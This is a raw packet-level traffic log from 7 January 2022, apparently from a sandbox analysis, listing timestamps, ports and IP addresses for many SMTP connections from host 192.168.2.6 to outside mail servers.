Jan 7, 2022 15:43:00.142425060 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142450094 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142457008 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142465115 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142474890 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142484903 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142487049 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142493010 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142505884 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142524004 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142554045 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142559052 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142574072 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142591000 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142618895 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142623901 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142654896 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142656088 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142674923 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142688990 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142709970 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142721891 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142744064 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142751932 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142776966 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142784119 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142816067 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142817020 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142844915 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142846107 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142877102 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142879009 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142901897 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142909050 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142934084 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142940998 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.142965078 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.142995119 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143096924 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143126965 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143157005 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143165112 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143188000 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143192053 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143210888 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143219948 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143248081 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143253088 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143276930 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143285036 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143315077 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143316984 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143352985 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143356085 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143385887 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143385887 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143404007 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143420935 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143454075 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143484116 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143490076 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143512011 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143516064 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143544912 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143547058 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143574953 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143604040 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.143661976 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143692970 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143722057 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143959999 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.143990993 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144021034 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144051075 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144082069 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144110918 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144140959 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144171953 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144200087 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144232035 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144264936 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144294977 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144326925 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144356012 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144386053 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144418001 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144450903 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144484997 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.144517899 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165137053 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165163994 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165183067 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165200949 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165215969 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165232897 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165256023 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165277004 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165385008 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165404081 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165419102 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165509939 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.165987968 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.166152954 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.166290998 CET	49768	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:43:00.167171001 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.167293072 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.167370081 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.167748928 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.168129921 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.168148994 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.169337988 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.169363022 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.169408083 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.169856071 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.169907093 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.170042038 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.170121908 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.170140028 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.170156002 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.170233965 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.170846939 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.170864105 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.170945883 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.170963049 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171040058 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171156883 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171205044 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171224117 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171241999 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171406031 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171423912 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171442986 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171461105 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171477079 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171545029 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171562910 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171581030 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171597004 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171613932 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171631098 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171648026 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171752930 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171794891 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171807051 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171884060 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171902895 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.171956062 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172077894 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172094107 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172110081 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172213078 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172230959 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172246933 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172270060 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172291994 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172346115 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172362089 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172378063 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172476053 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172493935 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172508955 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172599077 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172616959 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172640085 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172719002 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172736883 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172780037 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172833920 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172935009 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172952890 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172967911 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.172985077 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173069954 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173115969 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173160076 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173198938 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173217058 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173280001 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173297882 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173360109 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173374891 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173392057 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173407078 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173495054 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173547983 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173587084 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173604965 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173619986 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173713923 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173732042 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173778057 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173794985 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173810005 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173893929 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173909903 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173928022 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.173991919 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174062967 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174108028 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174124002 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174175978 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174194098 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174211979 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174314976 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174360991 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174377918 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174439907 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174513102 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174527884 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174545050 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174588919 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174607038 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.174660921 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.184449911 CET	49769	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:00.208317041 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.208349943 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.208523035 CET	49768	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:43:00.208555937 CET	49768	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:43:00.208906889 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.209023952 CET	49771	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:00.250554085 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.250586033 CET	25	49768	194.152.32.73	192.168.2.6
Jan 7, 2022 15:43:00.250694990 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.250734091 CET	49768	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:43:00.250828981 CET	49768	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:43:00.250854969 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.292838097 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.293025970 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.296489000 CET	25	49769	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:00.296576023 CET	49769	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:00.298255920 CET	49769	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:00.334692001 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.334709883 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.335005999 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.376674891 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.376693964 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.376928091 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.398097992 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.398639917 CET	49765	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:00.411705971 CET	25	49769	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:00.418581009 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.418709040 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.420591116 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.423748016 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.438632011 CET	25	49769	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:00.438676119 CET	25	49769	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:00.438756943 CET	49769	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:00.438805103 CET	49769	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:00.439693928 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.440881968 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.441088915 CET	49765	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:00.450715065 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.452605009 CET	49772	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.462471962 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.462501049 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.462744951 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.462786913 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.465369940 CET	25	49770	194.152.32.74	192.168.2.6
Jan 7, 2022 15:43:00.465471983 CET	49770	25	192.168.2.6	194.152.32.74
Jan 7, 2022 15:43:00.477293015 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.477430105 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.479199886 CET	25	49772	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.479347944 CET	49772	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.479443073 CET	49772	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.481805086 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.503941059 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.503988028 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.504102945 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.506603956 CET	25	49772	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.506814957 CET	25	49772	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.506910086 CET	49772	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.520581007 CET	49773	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:00.530672073 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.530700922 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.530719042 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.530813932 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.530874968 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.550206900 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.550523043 CET	49765	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:00.557348967 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.557374954 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.557385921 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.557401896 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.557411909 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.557426929 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.557584047 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.557638884 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.557723045 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.557957888 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.584240913 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584278107 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584307909 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584343910 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584376097 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584403992 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584431887 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584465027 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584492922 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584522009 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584547997 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584575891 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.584598064 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.584687948 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.584872961 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.584913969 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.584975004 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.591614008 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.603410959 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.603660107 CET	49765	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:00.603703976 CET	49765	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:00.611145020 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611172915 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611191988 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611206055 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611218929 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611270905 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.611416101 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611438990 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611457109 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611499071 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611536026 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611584902 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611605883 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611644030 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611743927 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611764908 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611783028 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611887932 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611908913 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.611927986 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.612021923 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.612041950 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.612062931 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.622895956 CET	25	49773	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:00.623490095 CET	49773	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:00.623769999 CET	49773	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:00.637712002 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.638113976 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.638221025 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.638318062 CET	49767	25	192.168.2.6	108.177.119.26
